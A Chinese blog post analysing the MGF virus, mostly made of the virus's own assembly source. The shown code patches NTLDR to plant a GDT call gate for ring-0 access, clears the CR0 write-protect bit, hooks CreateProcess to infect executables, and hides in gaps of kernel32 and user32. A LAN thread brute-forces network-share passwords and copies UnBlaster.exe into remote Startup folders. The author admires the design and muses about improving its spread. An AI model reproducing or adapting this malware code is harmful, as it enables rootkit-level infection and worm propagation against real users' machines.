`
iwmd24iwmd
  • 浏览: 12743 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

利用NTLDR进入RING0的方法及MGF病毒技术分析

 
阅读更多

利用NTLDR进入RING0的方法及MGF病毒技术分析
2010年08月02日
  以前看了莫国防病毒的源代码。摸到了一个进入RING0的方法。今天又在EST论坛看到了代码,随手写一个笔记吧。其实wowocock已经提及过这个了。我就在简单的说说,各位就别拍我了。笔记而已。。。主要要说的就是病毒进入RING0的方法,虽然现在说起来MGF病毒进入RING0的方法,已经算老技术了,但是还是有必要了解它。病毒的其他方面也简单的描述一下,有很多巧妙之处,可以说是个“好”病毒。另外在说一下,我没有具体的去跟踪调试这个病毒
  先说说进入RING0吧。
  现在进入ring0的方法已经又不少了,例如sinister提出的利用驱动程序进入RING0的方法,还有WebCrazy提出的用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来进入ring0,还有EVA提出的方法。还可以参考 http://www.eviloctal.com/forum/read.php?tid=10933&fpage=1 (wowocock写的总结,包括利用结构化异常处理以及利用中断门的方法进入RING0)。我所要说的是莫国防病毒所采用的方法,就是在NTLDR中搜寻GDT并找个空闲的地方添加CALLGATE。
  上面我门说了,莫国防病毒采用的方法是在NTLDR中搜索GDT域的空闲区,创建调用门。NTLDR就是系统的引导过程中的重要角色,主要任务就是将x86 实模式转到win2k的保护模式下,还有装载Ntbootdd.sys文件等工作(WIN2K具体引导过程请参见《Windows2000引导过程》).而其中也包括了装载GDT(全局描述符表)(装载GDT是在由实模式切换到保护模式之前的准备工作中就完成的)。也就是说,如果我们创建一个调用门,那么系统启动的时候就会将调用门装载。然后我们就可以利用这个CALLGATE来进入RING0了。
  有人问过,用什么来确认NTLDR中包含有这个过程?关于这个问题,可以根据tombkeeper写的,调试NTLDR,来监视NTLDR在切换到保护模式的时候所做的一切。
  下面我们来看看MGF病毒修改NTLDR添加CALLGATE的那段代码:
  

  _dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;
  bit 2:0=auto(ansi/unicode), 1=ansi
  ……………………
  .else;_dwFlag ;如果是NTLDR文件,写入CALLGATE
  lea esi,szGdtData[ebx]
  mov edi,@lpFileMap
  mov ecx,@dwFileSize
  @@:
  inc edi
  push esi
  push edi
  push ecx
  mov ecx,10h
  repz cmpsb
  pop ecx
  pop edi
  pop esi
  loopnz @b
  

  在NTLDR中以16个字节为单位搜索RING0,CS,DS找到后EDI指向该数据的最后一个字节:说白了就是搜索GDT的特征。
  

  .if ZERO?
  xor eax,eax
  mov ecx,80h
  @@:
  sub edi,8
  push edi
  push ecx
  mov ecx,8
  repz scasb
  pop ecx
  pop edi
  loopnz @b
  

  在向前的80H的范围内搜索NULL SELECTOR(8个0),其实没有必要,因为找到的SZGDTDATA前面就是了,所以最后EDI就指向NULL SELECTOR
  

  .if ZERO?
  add edi,100h
  lea esi,szCallGate[ebx]
  mov ecx,10h
  rep movsb
  

  在偏移100H处写入CALLGATE和自己的RING0,CS,这里有必要用自己RING0 CS,因为如果用系统的,SELECTOR虽然也可以,但在直接IO的时候有可能会出现0XE的页故障,也就是说如果加入破坏代码直接读写硬盘扇区,可能会出错。
  

  mov edx,dwC3Address[ebx]
  mov word ptr [edi-16],dx
  shr edx,16
  mov word ptr [edi-10],dx
  

  使调用门指向ret的地址
  .endif

  .endif
  dwC3Address是kernel32.dll中的地址,有人问为什么不用NTDLL.DLL中的呢?
  kernel32.dll这个模块是所有程序默认加载的,而NTDLL.dll则不一样。dwC3Address是kernel32.dll中的指令ret地址。所以这个方法非常巧妙。
  有些人问,为什么不用系统选择子08h所对应的描述符?
  因为如果操作系统检测到描述符对应的代码和数据的地址都在0x80000000H以下运行的话,就会被认为是非法进入RING0,然后产生错误。所以我们要创建自己的描述符来保证不会出现这样的错误。
  在WIN98下进入RING0用和CIH一样的技术,直接往GDT添加CALLGATE。这里就不说了。另外在2K下在修改NTLDT后需要重起才会生效。
  下面来说说MGF病毒的其他部分。
  来看看在RING0中,写KERNEL32和USER32的部分。
  

  ;RING0
  mov eax,esp
  mov esp,[esp+4] ;切换堆栈 switch to ring3 esp
  push eax ;save ring0 esp
  mov eax,cr0
  push eax ;CR0
  btr eax,16
  mov cr0,eax ;去掉kernel32模块只读内存页的写保护
  mov eax,lpOldPE[ebx]
  mov edx,dwOldEntry[ebx]
  mov [eax+28h],edx
  mov edx,dwOldImage[ebx]
  mov [eax+50h],edx ;恢复进程的入口和映像大小,避过某些程序的自我保护
  mov edi,hKernel32[ebx]
  add edi,[edi+3ch]
  mov edi,[edi+54h]
  add edi,hKernel32[ebx]
  mov lpMemPosition1[ebx],edi
  lea esi,VirusStart[ebx]
  mov ecx,10h
  repz cmpsb ;判断病毒是否已经在内存
  .if !ZERO? ;not in mem
  .if dwVersion[ebx] ;不在内存 and win9x
  push 0fh
  push 0
  push -1
  push 0
  push 0
  push 0
  push 1
  push 1
  @@:
  int 20h ;vxd->_PageAllocate
  dd 00010053h
  add esp,8*4
  lea edi,@b[ebx]
  mov word ptr [edi],20cdh
  mov dword ptr [edi+2],00010053h
  .else
  mov eax,hUser32[ebx]
  add eax,[eax+3ch]
  mov eax,[eax+54h]
  add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模块的空隙
  .endif
  mov lpMemPosition2[ebx],eax
  mov edi,lpMemPosition1[ebx]
  add edi,offset _BeforeAPI-offset VirusStart
  mov dword ptr [ebx+szNewCommand+1],edi ;
  构造跳转入CreateProcess拦截函数的指令,
  把HOOK CREATEPROCESS的指令地址放到第一段代码的后面
  mov esi,dwCreateProcess[ebx]
  push esi
  lea edi,szOldCommand[ebx]
  mov ecx,6
  rep movsb ;保存原来CreateProcess函数的前6字节
  lea esi,szNewCommand[ebx]
  pop edi
  mov ecx,6
  rep movsb ;把CreateProcess函数的第一条指令改为跳入拦截函数的指令
  lea esi,VirusStart[ebx]
  mov edi,lpMemPosition1[ebx]
  mov ecx,VirusSizeP1
  rep movsb ;病毒前3K驻留在kernel32模块
  mov edi,eax
  mov ecx,VirusSizeP2
  rep movsb ;病毒后2K驻留在user32模块或vxd _PageAllocate分到的页中
  .endif
  pop eax
  mov cr0,eax ;恢复CR0
  pop esp
  lea eax,Ring3_1[ebx]
  push eax
  retf ;返回RING3
  Ring3_1:
  .endif
  

  病毒在kernel32.dll和user32.dll中找空隙并驻留其中。这样的话,任务管理器中就看不到病毒,更无法终止感染文件。
  病毒还去除了kernel32的保护属性。这个方法当然很好。不过在退出的时候没有恢复,这样就会出问题的。在NT/2k/xp系统中,DLL所在页面被映射到进程的私有空间(如 Kernel32.dll 映射至77ED0000)中,并具有写时拷贝属性(cow),也就是说没有进程试图写入该页面时,所有进程共享这个页面;而当一个进程试图写入该页面时,系统的页面错误处理代码将收到处理器的异常,并检查到该异常并非访问违例,同时分配给引发异常的进程一个新页面,并拷贝原页面内容于其上且更新进程的页表以指向新分配的页。这种共享内存的优化给病毒来了一定的麻烦,病毒不能象在WIN9X下那样仅修改Kernel32.dll一处代码便可一劳永逸。所以说如果在9X下,这样做没有问题。而在2K和XP下是不行的。这就是2K/XP的COW机制。当然还有一种方法可以对付它,就是修改CR0的WP位,不过别忘了恢复 :)。
  因为病毒要定位LoadLibraryA和GetProcAddress函数的地址。在这里病毒采用了拦截CreateProcess函数感染PE文件,也就很正常了。不过这样的感染方法还是很罕见的,与一般的病毒有所不同。可以说是MGF首创,如果以前有,就当我孤陋寡闻,尽情的拍死我吧。
  下面是病毒创建的的局域网的线程
  

  _GoLAN proc lParam
  local @hEnum
  local @dwcCount
  local @szResourceName[32]:byte
  local @szBuffer[0c00h]:byte
  ret
  pushad
  db 0e8h,0,0,0,0
  pop ebx
  sub ebx,$-1
  lea eax,@hEnum
  push eax
  push 0
  push 13h
  push 0
  push 5
  call dwWNetOpenEnum[ebx]
  .if !eax
  .repeat
  mov @dwcCount,-1
  lea eax,dwBufferSize[ebx]
  push eax
  lea eax,@szBuffer
  push eax
  lea eax,@dwcCount
  push eax
  push @hEnum
  call dwWNetEnumResource[ebx]
  cmp dword ptr [@szBuffer+14h],0
  jnz @f
  .until eax
  push @hEnum
  call dwWNetCloseEnum[ebx]
  .endif
  jmp _GoLANexit
  @@:
  push @hEnum
  call dwWNetCloseEnum[ebx]
  lea edi,@szBuffer
  _NextPC:
  push edi
  mov esi,[edi+14h]
  lea edi,@szResourceName
  @@:
  lodsb
  stosb
  or al,al
  jnz @b
  mov dword ptr [edi-1],\'C\\\'
  pop edi
  xor eax,eax
  mov dwPassword[ebx],eax
  @@:
  lea edx,szLocalDrive[ebx]
  push edx
  push eax
  lea edx,@szResourceName
  push edx
  call dwWNetAddConnection[ebx]
  .if eax==56h
  call _GenPassWord
  cmp dwPassword[ebx],0
  jnz @b
  .elseif !eax
  push 0
  lea eax,szDFile[ebx]
  push eax
  lea eax,szSFile[ebx]
  push eax
  call dwCopyFile[ebx] ;如果找到可写共享,感染
  mov esi,eax
  push 1
  lea eax,szLocalDrive[ebx]
  push eax
  call dwWNetCancelConnection[ebx]
  call _GenPassWord
  or esi,esi
  jz @b
  .endif
  add edi,20h
  dec @dwcCount
  jnz _NextPC
  _GoLANexit:
  popad
  ret
  _GoLAN endp
  szMemToFileName db \'UnBlaster.exe\',0
  szSFile db \'c:\\windows\\system\\UnBlaster.exe\',0
  szDFile db \'X:\\WINDOWS\\All Users\\Start Menu\\Programs\\
  启动\\UnBlaster.exe\',0 ;
  从这里可以看出,把病毒复制到远程主机的启动文件中。
  dwPassword dd 0
  dd 0,0
  szPassword db 0
  szLocalDrive db \'x:\',0
  dwBufferSize dd 0c00h
  _GenPassWord:;生成密码的子程序,密码包括1234567890!@#$%^字符
  std
  pushad
  lea edi,[ebx+szPassword-1]
  xor edx,edx
  mov eax,dwPassword[ebx]
  mov ecx,16
  @@:
  div ecx
  xchg eax,edx
  .if al=6 && al<=15
  add al,2ah
  .endif
  stosb
  xor eax,eax
  xchg eax,edx
  or eax,eax
  jnz @b
  inc edi
  inc dwPassword[ebx]
  mov [esp+20h-4],edi
  popad
  cld
  ret
  

  病毒在局域网传播方面就是靠破解远程主机共享密码(密码由病毒生成),把病毒复制到目标机器的启动文件夹中。当目标重起后病毒开始感染。我想如果在优化一下传播方式的话……
分享到:
评论

相关推荐

    NTLDR丢失解决方法

    NTLDR丢失解决方法NTLDR丢失解决方法NTLDR丢失解决方法NTLDR丢失解决方法

    开机提示 NTLDR is missing 解决方法

    分析:NTLDR文件是win nt/win200/WinXP的引导文件,当此文件丢失时启动系统会提示“NTLDR is missing,Press CTRL+ALT+DEL to restart”,并要求按任意键重新启动,不能正确进入系统 。所以应该在系统正常的时候给予...

    NTLDR丢失处理方法

    windows开机后进不了系统,NTLDR丢失的解决方法,有详尽的图解

    ntldr文件 ntldr is missing

    ntldr is missing NTLDR是系统的重要文件

    ntldr启动项问题 及所需软件

    ntldr启动项问题 及所需软件 解决令人崩溃的ntldr问题

    网吧防F8破解ntldr

    网吧防F8破解ntldr,包括ntldr(无任何按键适用无盘)和ntldr按F8只有正常菜单.用于有盘.

    NTLDR 源码

    NTLDR 支持VMWARE+WINDBG 调试 同时支持2000 XP WRK 2003 是分析WRK源码的好帮手

    可载入大镜像的ntldr

    利用此修改版的ntldr 您可以用大内存将操作系统的镜像载入内存使用,速度超快,而且绝不中毒。因为每次都载入一次纯净的系统镜像。

    ntldr xp系统文件

    ntldr xp系统文件 请注意NTLDR文件为隐藏文件,你解压后需要把你的文件夹的隐藏受保护的系统文件 打开。才能看到这个文件

    NTLDR系统引导文件

    NTLDR文件是win nt/win2000/WinXP的引导文件,当此文件丢失时启动系统会提示"NTLDR is missing..."并要求按任意键重新启动,不能正确进入系统

    ntldr无法启动问题

    解决系统提示“NTLDR is missing”的问题

    LONGHORN版本的NTLDR

    电源模式自动更改,LONGHORN系统的NTLDR,比较难找的东西!希望对大家有用!

    NTLDR is missing的解决方法.docx

    NTLDR is missing的解决方法.docx

    ntldr修改+工具.rar

    ntldr,位于主引导区的根目录(一般是c:\ntldr,带隐藏属性)把ntldr写长一点就是nt loader。nt是微软的系统的总称,load是加载的意思。那么ntldr就是加载系统的工具。其实我们的电脑开机的时候,选择系统的界面就是...

    NTLDR的故事(PDF格式)

    很多人对BOOT.INI的重要性非常熟悉,但是实际上,和Windows NT架构操作系统启动相关的重要文件不仅仅是BOOT.INI,更重要的文件是NTLDR。本文描述了NTLDR的基本用途和一些常见的故障分析方法。

    用Bochs调试NTLDR

    用Bochs调试NTLDR, 详细介绍了Bochs的用法,以及如何调试NTLDR

    使用ntldr实现双重引导

    使用ntldr实现双重引导 使用ntldr引导Windows和Linux双系统,要比GRUB麻烦得多。这是因为Windows无法识别Linux分区,所以不能检测出Red Hat Linux的存在。为了能够让ntldr乖乖“听话”,需要对其进行“手术”

    Viata sp1 与xp sp3双系统的NTLDR文件

    安装vista sp1以后,有些不习惯的地方。因此想装回xp,但不想删除vista。可以用vista优化大师系统设置-启动设置里在指定的盘里增加xp系统。然后在pe或是dos或是其他方式...把本ntldr放到xp所在的盘就可以正常启动了。

    ntldr.dll 解决电脑无法启动问题

    用于解决电脑开机显示:NTLDR.DLL已丢失的问题

Global site tag (gtag.js) - Google Analytics